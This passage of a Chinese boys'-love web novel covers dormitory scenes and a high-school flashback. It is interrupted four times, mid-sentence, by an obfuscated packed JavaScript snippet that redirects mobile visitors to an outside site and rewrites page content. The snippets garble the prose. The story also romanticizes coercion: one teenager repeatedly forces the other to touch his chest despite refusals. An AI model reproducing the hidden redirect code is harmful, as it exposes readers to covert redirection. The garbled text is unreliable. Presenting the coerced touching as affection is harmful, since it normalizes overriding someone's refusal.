这边居渡已经有了困意,他把手机放在床头柜上,关了灯准备睡觉。手臂收回的时候手肘刚好撞在了越鸣玉的胸膛上。 一种奇怪的感觉从越鸣玉的胸膛上蔓延开来,酥酥麻麻的似乎有一道电流穿过。 鬼使神差地,越鸣玉吞了吞口水,他用手掌握住居渡的手臂,喉咙发哑。“你自己摸摸不就知道了。” 居渡愣了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883467|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在黑暗中他看不清越鸣玉的脸,只能感受到越鸣玉逐渐逼近的灼热吐息。 这让他突然想起高一那次越鸣玉在自己身边自我抚慰的那件事了。 当下居渡的脸一阵热气上涌,他用力挣扎希望能从大魔王手中逃脱。“不不!这怎么好意思,我还是自己去查资料吧!” 越鸣玉眯了眯眼,莫名给人一种大型猛兽捕猎时锁定目标的危险感。 “别乱动,你自己碰碰就知道了,都认识这么多年了你害羞什么。” 然后居渡就被强硬地将身体转了过来变成和越鸣玉面对面的姿势,越鸣玉顺势将居渡的手慢慢移向他的胸膛。 居渡只能手指僵硬地闭着眼。 越鸣玉晚上睡觉上半身只穿了一件宽松的黑色无袖背心,薄薄的布料将结实胸肌的形状勾勒出来。居渡伸手碰到的就是温热的肌肤,隔着布料都能感受到底下这具身躯会有着怎样的爆发力。 对于居渡只是手指轻微触碰的状态越鸣玉显然并不满意,他让居渡张开手,然后拉着居渡的手一下子就按在了他的胸上。 居渡的右手被逼着放在越鸣玉的胸膛那儿,手中胸肌的触感温热而具有弹性。不知道是不是由于脑子宕机他居然觉得手感不错,于是下意识地收紧掌心碰了碰。 摸了两下之后就算居渡的脑回路再长,也反应过来他现在到底在做什么。他不仅和大魔王的胸肌亲密接触了,还胆大包天地捏了两下。 居渡觉得身体似乎已经不受他的控制了,脑子里对自己的行为根本没意识。 等居渡反应过来后又抵抗起来,他拼命想收回手。“越鸣玉你放开我!” 结果越鸣玉又是一把抓起居渡的手,强行按回自己胸膛上。“感觉还不错,你多弄几下。” 不容拒绝的强硬态度,让人连反抗的机会都没有。可是又细心地注意着力度,不会真的让居渡吃痛。 “听说这样能让血液流动速度增快,肌肉会更紧实,身材也会越来越好。”看居渡还是挣扎得厉害,越鸣玉就展现出了说谎不打草稿的功力,随便扯了个理由想要糊弄过去。 居渡当然是誓死不从,他才不相信这些一听就是骗人的东西。越鸣玉不耐烦地咋舌,反身把居渡压在自己身下,故意低下身来用结实的胸肌往居渡身上蹭。 “我反正觉得他们说得没错,之后你也这样碰我吧。” 话音刚落,居渡便心如死灰。 之后只要两人躺在一起睡觉,越鸣玉就强硬地让居渡触碰自己的胸肌,到最后居渡已经自暴自弃开始乱揉了起来。 除此之外越鸣玉倒是没对居渡做出其他奇怪的举动,居渡也就这样心灰意冷地度过了他余下的高中时光。 本来想着到了大学至少可以不用被这道阴影笼罩了,谁曾想越鸣玉居然和他考上了同一所大学。住在同一间寝室也就算了,更过分的居然是在同一张上下铺。 居渡的心彻底碎了,他实在想不通上天究竟是认真的还是在和他开玩笑,这一定是孽缘。 所以居渡才一直避免着和越鸣玉有肢体方面的接触,对亲密接触变得既敏感又不习惯,更是怕越鸣玉想不开又强迫自己对他动手动脚。 10. 第10章 时间回到现在,沈予归吹干头发之后将宿舍里的灯关上了。 窗外的光隐隐照到屋内,一层薄薄的光打在居渡脸上,本来在黑暗中有些模糊的眉眼也被衬得清晰起来。 看到这样的居渡,越鸣玉的一颗心就好像泡在了酸酸涩涩的柠檬水里。虽然被居渡制止了,但他还是伸手揽了过去,动作放得极轻。 此时的越鸣玉已然变成了一头捍卫自己领土的猛兽,用极为霸道的姿态守护对自己来说最为重要的事物,行为举止间却细致而谨慎。 学校的床又不像家里的大床,他们两人挤在一起还是过于小了些,况且越鸣玉的体格真不是盖的,两人挤在一起睡觉显然是不太符合常理。 不过越鸣玉已经不着痕迹地往外侧挪了挪,以免太过挤着居渡让他不舒服。虽然身体往外挪动了些,但手臂依然靠着居渡,隐隐约约有把居渡圈在自己怀里的架势。 关灯后居渡便很快产生了困意,他其实不是很能熬夜,一般睡前玩一会儿手机就犯困了。 居渡闭着眼正迷迷糊糊的,感觉身旁的越鸣玉似乎更加靠近自己了,但他现在实在是没什么精力去管。 越鸣玉被布料包裹着的健壮身躯正传来温度,居渡是背对着越鸣玉睡觉的,他的后背慢慢贴过来那家伙的身躯实在是让人无视不了。 从小时候开始越鸣玉就是这样,也不知道为什么这么喜欢黏着自己。上了大学倒是没有再让自己对他做高中时期会做的事,这让一开始有些担心的居渡多少安心了下来。 他以为无法无天的大魔王终于明白了羞耻心的重要性,他可不想再故技重施地被越鸣玉玩弄于鼓掌之间。 不,是被玩弄于越鸣玉的胸肌之间。 虽然居渡的意识已经不太清醒,但明显不想让越鸣玉过分紧贴着自己。他伸手往后推了一下越鸣玉,触感又是一片紧实温热。 “你别贴着我,好热。”居渡闭眼说着,听起来是快要睡着了。 看居渡的确困得厉害,越鸣玉再怎么心痒难耐也只好慢慢拉开了距离,实际表现出来的却只有一点而已。他不想让居渡厌烦他,却还是控制不住自己想更靠近居渡。 这种习性仿佛是占有欲和地盘意识很强的野兽才具有的。从某种程度上来说,越鸣玉身上所展现出来的特质,的确和猛兽的本能有共通之处。 而居渡,则更像是被兽性尚存的猛兽黏上变得无奈且只好握紧缰绳的主人。 这边床上的气氛一片和谐,对面下铺的沈予归暗自表现得有些低落。他本就不善言辞,自己的情感更是不会轻易外露。 沈予归知道居渡和越鸣玉是多年的好友,他们两个人的羁绊很深,彼此已经认识十几年了。 越鸣玉对谁都是一脸凶狠的样子,只有对待居渡时格外上心。他对居渡的感情和自己的一样,越鸣玉也是察觉到了自己对居渡异样的情感,所以才会表露出敌意。 那种敌意是赤裸裸的、丝毫不加掩饰的,宛若利剑,让所有靠近居渡的生物都会受到严重伤害。 同样地,越鸣玉将他对居渡的感情清清白白地摆在台面上。那些情感赤诚浓烈、不加修饰,他似乎不屑于把自己的感情在外人面前隐藏起来。 可是居渡至今仍蒙在鼓里。越鸣玉的举动早已超越了平常的友谊,居渡却一直认为两人只是普通的好友关系,毕竟越鸣玉从幼儿园时期开始就总是跟着他。 大概是习惯成自然的原因。 沈予归对这一点很清楚。他不会因此放弃,他也不会甘心,事情还没有结束,谁都不知道居渡心里想的是什么。 他绝不是那种容易认输的人。 躺在床上的沈予归微微侧身看了一眼居渡的床铺,越鸣玉健壮的身躯几乎将居渡整个人都藏匿起来,那强烈的独占欲明眼人一看就看得出来。 沈予归收回视线,他轻轻闭上眼睛,脑海里是初次见到居渡的那一幕。 那时的居渡对自己露出的笑脸,已经变成了他最为珍贵的宝物。 一夜无梦,早上醒来的时候居渡还没太反应过来。 可能是夜里翻了个身的缘故,居渡一睁眼就看见越鸣玉笔直的锁骨和线条明晰的胸膛。由于越鸣玉常年都在运动的关系,身上的肌肉饱满有力,体温也要比一般人高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883468|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一些。 他们寝室的空调是夜里也会打开的状态,所以到了后半夜只盖一条薄被的自己会感到凉意袭来,就可能在半睡半醒间翻身寻找温度较高的地方。 居渡和越鸣玉从小到大挤一张床对此早习惯了。只要越鸣玉的行为稍微收敛一点,他就不会有太大的反应。昨天白天自己睡了挺长时间,所以现在醒来天只是蒙蒙亮的状态,距离早课还有一段时间。 再躺下去感觉没什么意思,居渡向后退去想要拉开自己和越鸣玉的距离,他轻轻推了一下越鸣玉,小声和他说:“醒醒,让一下。我起床了。” 越鸣玉并未睡醒,被居渡这样一碰虽然有些清醒,但更多的还是席卷而上的困意。 他察觉到身旁的居渡可能要离开自己之后似乎有些不满,双眼没有睁开,对居渡的动作毫无反应。 不过越鸣玉倒是趁居渡刚准备坐起来身体不稳时,手臂一伸,把居渡重新拉回床上。甚至不知道是有意还是无意地又将居渡用力按到自己怀里,生怕居渡跑了似的。 猝不及防埋胸了的居渡:······ 他整个人倒在越鸣玉的身边,侧过脸正对着越鸣玉一起一伏的结实胸膛,胸肌线条透着布料显现出来。 居渡被按在越鸣玉的怀里,鼻尖戳着越鸣玉的左侧胸肌。随着越鸣玉平稳的呼吸,居渡的脸不断触碰到越鸣玉胸前温热柔韧的肌肤。 他就像只被熟睡中的雄狮压在身下的小羊羔一般。 是可忍孰不可忍,被这样对待居渡当然会抵抗起来。高中时进行那些亲密接触的阴影还历历在目,这让他怎么有心思继续安然入睡。 他用力推了推越鸣玉。“越鸣玉,让开!压着我了。” 越鸣玉这才反应过来,他微微睁开眼,好像还没睡醒。看到居渡被自己困在怀里不断挣扎的样子瞬间清醒多了,松开手坐起来让了位置放居渡下床洗漱。 随后越鸣玉躺了下去,他的眼睛直勾勾地盯着居渡的背影。眼底一片清明,哪里还有刚刚那副意识没恢复强行按人入怀的模样。 这招果然对居渡不管用。越鸣玉若有所思。 11. 第11章 等居渡洗漱好从卫生间里出来的时候发现沈予归也醒了,正坐在床边穿着衬衫,衬衫里面是一件白色的背心。 身材修长挺拔,肌理分明,小臂的线条干净流畅。低头垂下眼认真穿白衬衫的样子给人一种十分清爽的感觉。 不像某个人,周身的压迫感要多强烈就有多强烈。 已经醒了正坐在床上抱着居渡枕头看手机的越鸣玉似乎感受到了居渡的视线,抬眼看向居渡,又扫了一眼对床的沈予归,有些不爽地把怀里的枕头搂得更紧了一些。 越鸣玉整张脸绷起来一言不发,看起来又凶又不好惹。他暗地里骂了一句对床穿衣的沈予归,然后手上更用力地蹂躏着居渡的枕头。 趁沈予归穿好衣服进卫生间洗漱的空当,居渡走到床边,低头看着搂着他枕头不放的越鸣玉。 “你上床去,别玩我枕头。” 现在时间还早,没到上课时间,居渡暂时也不想下楼去买早饭吃,看到越鸣玉醒了他就开始赶人。但是某个一脸凶相的霸道家伙硬是要占着他的床,还抢他的枕头。 居渡觉得自己都快要一脸怜爱地看着越鸣玉。 怀里的枕头了。 听到这句话的越鸣玉盯着居渡,他这时候表现得出奇地安分,就像是头心甘情愿做出讨好行为的野兽,正认真地注视着自己的饲主,不过他还是抱着居渡的枕头没撒手。 他伸手拍了拍因为自己坐起来而空出了一大片的床铺。 “一起睡。”刚睡醒没多久的声音比平时更沙哑低沉。 居渡:······睡你个头。 居渡觉得十分无奈并且想把越鸣玉揍一顿。 越鸣玉见居渡一脸默然地看着自己,当下把居渡拉到床边坐着,然后将自己怀里居渡的枕头放回原位。 “又嫌弃我,我听你的上床还不行吗。不准对我发脾气,也不准生气,不准。”越鸣玉的声音沉得厉害,一直在重复着不让居渡生气,身体倒是很诚实地下床带着自己的东西爬回了上床。 要说霸道蛮横的越鸣玉有什么担心的人或事,那必定是不理不睬自己的居渡。何况居渡是真生气还是假生气他当然能辨别得出来。 虽然居渡性格平和,几乎不会和谁产生矛盾,但偶尔越鸣玉也是会真的惹火居渡。居渡一生气就不爱理人,就算越鸣玉堵他面前他都能装作看不见似的绕开越鸣玉往其他地方走。 高一上学期快近年末的时候,正逢万圣节。这种节日一般都是朋友间互送糖果,或是一群半大的男孩女孩互相送些糖果来表达自己的心意。 居渡没有那个过节的概念,对于他来说那天和以往相比并没有什么不同。 越鸣玉和居渡一样也没有过节的概念,但他看周围的人都互相送糖果,就看了一眼坐在前面的居渡,想了想还是独自去学校里的超市买了一大包糖果。 他光是想着居渡收到一大包糖果惊讶的表情就觉得心情好。 当越鸣玉回到教室的时候,他一眼看到了居渡桌上的东西。那是一盒淡黄色包装的糖果,估摸着里面是巧克力之类的东西。 不动脑子都能猜到是谁送的。 隔壁班有个女生喜欢居渡,虽然居渡有时候会在路上偶遇她,但他并没有察觉到这个女生对自己特殊的感情。 刚刚那个女生挽着朋友的手臂害羞地站在教室后门,往里看了好几眼,她朋友笑着把她推到教室里走了好几步居渡才看见这个女生。 那个女生似乎紧张害羞到了极点,整张脸都红了。最后还是她朋友喊了一声居渡。 应该是找自己有事情,居渡刚走过去怀里就被塞了一个东西,还没来得及问什么,那个女生就红着脸急急地说一句:“万圣节快乐。”说完后拉着她的朋友跑走了。 留下居渡一脸懵地站在原地。 然后就是越鸣玉回来所看见的场景了。越鸣玉黑着脸走到自己的座位,把刚刚买来的那袋糖果一股脑塞进书包里。 那天刚好是周五,傍晚放学,居渡照常和越鸣玉一起回家。此时天气已经有些寒冷,居渡早上醒得比较迟,衣服穿得也少。 他明显感受到了空气中的冷意,双手搓了搓,耳朵也被冻得红了一些。 越鸣玉看居渡这样他就难受得紧,把居渡喊住之后在自己包里翻出一条白色的羊绒围巾,然后伸手把居渡拽过来就开始帮居渡围围巾。 居渡有点受不了越鸣玉这样亲密地站在自己面前帮自己围围巾,总觉得哪里有些奇怪,当下也挣扎了一下。“越鸣玉,我自己来。” “别动!”越鸣玉语气有些凶,显然不想让居渡继续乱动起来,手下的动作却又快又温柔。 居渡听到这句话也不动了,反正这会儿路上没有多少人。围巾围好之后居渡整张脸好像都被温暖厚实的羊绒围巾包裹起来,露出鼻梁和漆黑清朗的眉眼,看起来又乖又听话。 真让人想冲上去抱着亲一口。谁都不知道那个时候的越鸣玉也是这么想的,只不过他并未去实施这个想法。因为他知道一旦做了那种事,自己可能连和居渡做朋友的机会都没有了。 越鸣玉帮居渡围好围巾之后才开始算账,两人继续往前走着。他先是侧过身盯了一会儿居渡,然后才一脸严肃地开口。 “那个女的和你是什么关系?” 居渡一脸问号,根本不知道越鸣玉在说什么。“谁?” “给你糖的那个女生。”越鸣玉说到这里语气已经压制不住地急促起来,面部线条更绷紧了些。 居渡这才反应过来越鸣玉说的是那盒黄色包装的糖果。“隔壁班的那个女生?就普通同学。” 身边的人没有了动静,居渡一脸疑惑地往旁边一看,突然被越鸣玉一下子抱了个满怀,勒得他都快不能呼吸了。 “越鸣玉你放开我!”这路上是没有多少人,但是突然被越鸣玉这样一个紧抱对居渡来说实在是一种不小的惊吓。 他不知道越鸣玉又发什么神经,但他觉得很是别扭。居渡当然知道两个男生在路上搂搂抱抱还是很奇怪的,所以才会表现出抗拒和不自在。 越鸣玉并没有太过勉强居渡,他很快松开了手臂。他的眼睛紧紧盯着居渡,脸上的神情很是认真。 “你不要离开我,你不要去见那个女生好不好。” 居渡满头问号,越鸣玉说的话每个字拆开他都认识,怎么合起来他就这么不理解。 “你到底想说什么?”居渡抬手稍微整理了一下刚刚被越鸣玉弄乱的头发。 那双漆黑而清明的眼睛就这样注视着自己,越鸣玉莫名觉得口干舌燥,他的耳朵不知道是因为害羞还是因为太冷而红了一片。 “我说!你不要靠近那个女生!”在居渡的注视下越鸣玉一时急了张口就大声说了出来。他的表情很不自然,整张脸显得很凶,就像是在对居渡发脾气一样。 居渡愣了一下。 “你朝我喊什么?你喜欢那个女生就去追啊,关我什么事,我又不喜欢她。” “越鸣玉,我很讨厌你这样和我说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883469|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”居渡瞥了一眼脸色瞬间僵下来的越鸣玉,没有继续理他而是绕过他走掉了。 这是居渡第一次对越鸣玉感到生气。 越鸣玉这才回过神来,他伸手想要抓住居渡的手臂却被居渡狠狠甩开,居渡没有回头继续向前走着。 “不、不是。我不是、居渡······”越鸣玉的声音带着明显的颤抖,他看着居渡越走越远的背影,自己的四肢却好似被冻住一般再也不能挪动分毫。 之后的一周居渡都没有理会越鸣玉,无视他发过来的消息,在校园里看见他也装作不认识地绕开。 他那天是真的很生气,他又不是会抢自己朋友喜欢的人的家伙,为什么越鸣玉就那么不信任自己,自己在他心里就是那样的人吗。 又是一个周五晚上,居渡正窝在自己卧室休息,刚洗完澡的他头发半干穿着睡衣趴在床上玩游戏。 那个时候越鸣玉拎了一大袋居渡平常最喜欢的零食敲响居渡家的门,其中还有那包在万圣节未被送出去的糖果。 “呀,是小越啊,来找居渡吗?他在楼上卧室呢。来,你先进来,外面太冷了。”居渡妈妈招呼越鸣玉赶快进来。 “打扰了,阿姨。”越鸣玉低着头礼礼貌貌的,一点都没有他在外人面前那副霸道又凶狠的态度。 “这有什么打不打扰的,来来,过来坐,我去叫居渡下来。最近也是,都没看见你过来玩。”居母说着就准备叫居渡下来,越鸣玉急急忙忙地拦住她。 “别,阿姨。我惹居渡生气了,我想自己去找他道歉。”越鸣玉的声音低着,他不好意思地挠了挠后颈,冲着居母笑了一下。 “噢噢好,那你先上去,待会儿留下来一起吃饭。”居母没多在意,孩子之间的事就让孩子们自己解决。 越鸣玉连连点头答应,转过身上楼梯时脸上的表情却突然变得不安起来。他根本不知道居渡到底消没消气,更没把握自己能够哄好居渡。 毕竟居渡已经整整一周没有理他了,直到发生这件事他才知道原来居渡生气之后自己会那么难过。甚至每天晚上都在失眠,脑海里一遍遍回放着居渡万圣节那天生气的脸和决绝的背影。 越鸣玉闭了下眼再睁开,眼底满是惶然和痛苦。他不想让居渡对自己不理不睬。 “咚咚——”越鸣玉敲了敲门。 居渡还以为是他妈要进来,就说了声进吧。 结果发现是拎着一大袋零食的越鸣玉。越鸣玉的体格越来越高大结实,蜜色皮肤和俊戾五官都让他在一众普通高中生里异常亮眼。此刻他面上的表情却算不上多好看,神情灰败着。 “你过来做什么。”其实居渡的气已经消得差不多了,但他还是有点不想理会越鸣玉。 越鸣玉看了看居渡,看居渡脸上并没有无视或厌烦的神色才略微放下心来。他慢慢走到居渡的身边,蹲在居渡床边看着他。 “居渡,别生气了好不好。我向你道歉,对不起,我那个时候不是那个意思。”越鸣玉的状态看起来很差,眼下有着很深的青黑色,他的声音听起来低沉又沙哑,像是那种哭了很久的声音。 “越鸣玉你哭了?”居渡从床上坐起来盘着腿看向越鸣玉,这个天不怕地不怕谁都不敢惹的大魔王居然会因为和自己吵架而流泪了。 这怎么可能。居渡觉得非常不可思议。 越鸣玉蹲在居渡床边,他正仰头注视着居渡。平常带着凶狠戾气的面庞现在只剩下紧张和不安,他的脸色很差,似乎已经几天几夜没有好好入睡了。 12. 第12章 “我才没哭。”越鸣玉哑着喉咙说道,嘴唇紧紧抿成一条直线。逃避居渡视线般地将脸转到一边去,又想到了什么似的立刻转了回来。 他蹲在床边抬眼看着盘腿坐在床上的居渡,颇像只被主人抛弃了的惴惴不安的大型犬。“居渡,你别生气了。我错了,不要不理我了。” “你已经一周没理我了。”这句话闷闷的,加上越鸣玉这会儿沙哑低沉的声音,倒真有种哭完之后颤抖的感觉。 说话时越鸣玉的面上强装出镇定,他扒在居渡床边的双手都发着抖,内心极其害怕被面前的人漠视。 平常越鸣玉对谁都是一副凶戾难惹的模样,现在却蹲在自己床边可怜兮兮地求自己原谅。 居渡觉得脑子有点转不过弯来,不知道哪里出了问题。是这个世界不正常了,还是越鸣玉不正常了,如果非要选一个的话,那他肯定选后者。 其实居渡自己也没有意识到他已经整整一周没有理会越鸣玉了。身边没有一个凶狠霸道的家伙缠着,有时候反而会感到自在很多。 “越鸣玉。”居渡直直地看向越鸣玉,开口念了他的全名。 被叫了姓名的越鸣玉浑身一震,眼睛都差点不敢抬起来和居渡对视。他整颗心脏都因为紧张而在急促地跳动着,怕面前的居渡对他说出拒绝否定的话语,哪怕只有一个字。 “你喜欢那个女生是你自己的事,为什么不信任我?你认为我是那种会抢你喜欢的人的家伙吗?我觉得这样很奇怪。” 虽然居渡生气的时候不喜欢搭理别人,但他本身并不是有事会一直憋在心里死活不说的类型,他是真的对此感到奇怪。 那时的越鸣玉好似在极力阻止自己和那个女生碰面,态度又含含糊糊的有什么事情瞒着自己。 “不是、不是。居渡,我不喜欢她。那天是我太冲动了,我没有不信任你······居渡,对不起。”越鸣玉直视着居渡,他不停地低声解释着。 他正蹲在居渡床边,居渡坐在床上俯视着他,一种陌生的距离感让他心慌到难以自持。 至于越鸣玉到底喜不喜欢那个女生,其实居渡不是很在意这种事。不如说他巴不得越鸣玉赶快去谈个恋爱,就不会一直待在自己身边晃悠了。 他和越鸣玉从幼儿园开始的“孽缘”持续到现在已经有十多年了,越鸣玉什么性格他当然了解得差不多。 所以这件事是真的让他有点诧异,不太明白为什么越鸣玉当时会说出那样的话,而且那个状态就像是快要弄丢最重要的事物一般焦躁难安。 居渡完全没有想到其他方面,在私人感情上他的反应的确要比其他人更加迟钝。 越鸣玉又一直藏匿着自身的感情不敢表露出来,他怕一说出口,可能和居渡连朋友的关系都维持不了。 更是知道居渡在这方面反应比较慢,所以他才不想那么早地全都捅破出来。 越鸣玉不想让居渡反感和厌恶他,口中道歉的话语没有停下来。“我真的没有不信任你,居渡。我错了,是我脑子有病。” “居渡你别生气了,不要不理我好不好?”越鸣玉的声音越来越沉,语气里还带着一些明显的沙哑颤抖。 他甚至都不敢再抬头看向居渡。 居渡安静地看了一会儿蹲在他床边的越鸣玉,脑子里却在想类似这种场面他好像曾经有看见过。他想起来了,是小时候邻居家一条平日里非常凶恶的大狗生病后变得蔫头耷脑的样子。 “你买了我最喜欢的海苔味薯片吗?”居渡下了床在越鸣玉带来的零食袋子里翻找起来。 他的意思很明确,这件事已经过去了。 听到居渡说了什么后,越鸣玉才像是突然活了过来似的,毫无精神的样子瞬间消失不见。他终于敢凑到居渡身边,低声回应道:“有买有买。” 刚洗完澡的居渡头发处于半干的状态,身上柠檬沐浴露的味道清新好闻。越鸣玉一周都没有这么亲近居渡了,他真的感觉自己快要死掉了。 他好想让居渡碰碰自己,或者自己碰碰居渡。不过现在只是就这样看着居渡的侧脸,心中的空缺就被一点一点地充盈着。 越鸣玉终于知道原来居渡不理他给他带来的打击居然会这么沉重,无时无刻不感到痛苦,每分每秒都在挣扎,脑子里回想起的全是居渡的脸。 他和被主人抛弃的狗没有两样,无论怎么可怜地吠叫打转都不会再引起主人的注意,只能缩在角落里无助惶恐地舔舐着自己的皮毛。 经历过这件事的越鸣玉总算是长教训了,产生的心理阴影面积实在太大。 “你怎么不把头发弄干,会感冒的。”趁着居渡不注意越鸣玉悄悄侧过头来,偷偷嗅闻了一下刚洗完澡身上还满是沐浴露香气的居渡。 居渡正翻找着零食,根本没在意越鸣玉的动作。“嗯?太麻烦了,就那样吧。” “不行,我去拿吹风机,你坐在床上等我。”越鸣玉说完这句话才意识到自己的语气又变得有些凶。 他整个人突然僵住,面色有些发白,恨不得立刻揍自己一拳,怎么刚好了伤疤就忘了疼。越鸣玉在意地看了一眼居渡,好在居渡没注意到有什么不对劲的地方。 找到那袋海苔味薯片后居渡将包装撕开,边咬着薯片边嗯嗯应着,坐在床上打开了电视。他有时候是不太在意越鸣玉的“大魔王式关怀”。 这么多年了,他很清楚越鸣玉本质上没有坏心。虽然人长得是凶了一些,性格也霸道,还总是爱黏在自己身边,但是对自己是好的,甚至在某些方面还好到了一种奇怪的程度。 对此居渡没有细想太多,他只觉得这是大魔王从小到大身边只有自己所以自然而然产生了亲近感。 “吹风机还放在柜子里是吧?”越鸣玉转过身问了居渡一句。 “对。”居渡坐在床上咬着薯片,电视开着,播放着他最近常看的一部动漫。 越鸣玉从柜子里拿出吹风机走到居渡身旁,弯下腰来把插头插在床头柜后面的电源插座上,先开着吹风机用手试了一下温度,再爬上床坐在居渡的身后开始帮他吹头发。 电视里播放着的动漫人声,居渡咬着薯片的“咔嚓咔嚓”声,吹风机被开到中档吹出温热的风的声音。共同奏响一首平淡而又温情的曲子。 越鸣玉用掌心挡着吹风机的出风口,透过手指缝隙的风吹到居渡头发上。他一边吹一边看着居渡柔软的黑发,心里在想幸好居渡的注意力都在动漫上,不然自己可能就没这个机会帮他吹头发。 光是用吹风机帮居渡吹干头发,越鸣玉的心里便止不住地一阵阵发烫,心脏跳动声也越来越大,甚至耳根处都有些泛红。 这样就好,时间若是能停下来就好了。居渡身边没有其他人,自己也会一直陪在他的身旁。 这个平日里凶狠蛮横对其他人没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883470|192009||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点好脸色的大魔王,在这一刻却无比安分地坐在居渡身后帮他吹干头发,莫名给人一种被驯服完毕变得极其顺从的感觉。 回忆到此为止。 越鸣玉已经回到自己床上继续待着,居渡则是坐在床边玩了会儿手机。 沈予归从卫生间洗漱出来穿上鞋准备出门,他走到门口时似乎突然想起了什么事情,回头看向居渡。 “我要去买早餐,居渡,你要吃些什么吗?”可能是刚睡醒的缘故,沈予归的声音略低,带着一些沙哑的感觉,让人听着耳朵立即会变得酥酥麻麻的。 居渡抬起头看向沈予归。“可以吗,那就帮我带两个食堂的肉包吧。谢谢你,待会儿微信把钱转你。” “嗯好,我知道了,不客气。”沈予归听到居渡对自己说话他的心情就变得很好,微微弯着眼睛回应之后打开宿舍的门走了出去。 躺在上床根本没继续睡的越鸣玉烦躁地翻了个身,从刚刚开始他就一直注意着底下的动静。那混账家伙也不知道打的什么主意,那么亲近居渡干什么。 越想越不是个滋味,自己也真是的,早知道就先出去买早饭了,他才不想让居渡吃别人买的东西。越鸣玉酸溜溜地生着闷气。 “居渡,你中午想吃什么。”过了一会儿越鸣玉探出头来问道,他没话找话的技能显然十分差劲。 居渡看手机看得正开心,对越鸣玉突然的问话没太放在心上。“吃麻辣烫吧,食堂旁边那家麻辣烫好久没吃了。” “你不能吃的话买别的一起带回来吃也行。” “没事,我和你一块儿在那儿吃了。”越鸣玉回了这么句话就又终结了话题。 他闲着没事做,下了床去卫生间洗漱了一番。接下来越鸣玉便坐在椅子上双腿岔开,面对着椅子靠背,手臂搭在椅子靠背上一边看着居渡一边玩手机。 过了一会儿沈予归回来了,初秋的早晨还是有些闷热,回来的时候他正微微喘着气。 居渡见沈予归回来了,瞬间眼睛亮晶晶地看着他走过来,接着两个热腾腾的包子就被递到自己手上。 “谢了。”居渡开心接过并道谢,立刻咬了一大口。 食堂的这个肉包是真的好吃,又大又软,内馅喷香,早上吃两个压一压肚子直到中午都不怎么饿。 沈予归墨黑的眼睛一直看着居渡,居渡大口吃着食物的样子非常有趣。他的心有些发痒,努力克制着自己不去伸手触摸对方。 意识到自己的想法时罪恶感也随之袭来,沈予归掩饰般地把一杯豆浆放在居渡的桌子上。“豆浆买一送一,我喝不完两杯,这杯给你喝可以吗?” “嗯?好,谢谢。”居渡吃着肉包说出来的话语变得有些含糊不清,但明显他的情绪很高。 越鸣玉坐在一旁看着沈予归和居渡的相处,额上青筋都要爆出来了。他可不觉得真有什么买一送一的活动,根本就是这家伙有意为之的示好。 他紧紧握着手机,瞪了一眼一看就是在拼命冲着居渡摇尾巴的沈予归。然后猛盯着居渡瞧,真的没有什么不让其他家伙靠近居渡的办法吗。 越鸣玉的心里又涩又麻,偏偏不敢对居渡说些什么。越线的感情要是被居渡发现,一切才算是彻底完了。 他太过了解居渡的性格,最后可能连朋友都做不成。现在虽然不至于日日如履薄冰,但畏惧这段关系从此崩裂也是不容争辩的事实。 13. 第13章 居渡吃完早饭看时间已经不早了,他坐在床边低头换着鞋,随口问了越鸣玉一句:“今早的课在哪个教室?” “B栋405。”越鸣玉和沈予归的声音同时响起。 这让越鸣玉又瞪了一眼沈予归,他坐在椅子上脸色不怎么好,满眼写着的都是不爽与敌意。 谁都知道居渡问的人是自己,有这家伙什么事。对于沈予归的答话越鸣玉的心情显然好不到哪里去,在面对有关居渡的事情时,他自身的态度明显有所变化,实打实地心胸狭隘。 沈予归则是无视了越鸣玉凶狠的视线,不如说他对越鸣玉的反应根本不在意。他光是看着居渡胸腔某处就莫名滚烫起来,这种感觉几乎从未在他身体上存在过。 他想要遵循本心去靠近居渡。即使居渡的身边有一头凶悍暴戾的恶龙,也依然想要待在居渡的身边。 居渡并未察觉到变得奇怪起来的气氛,他得到回答后站起来一边收拾背包,一边看了看越鸣玉和站在旁边的沈予归。 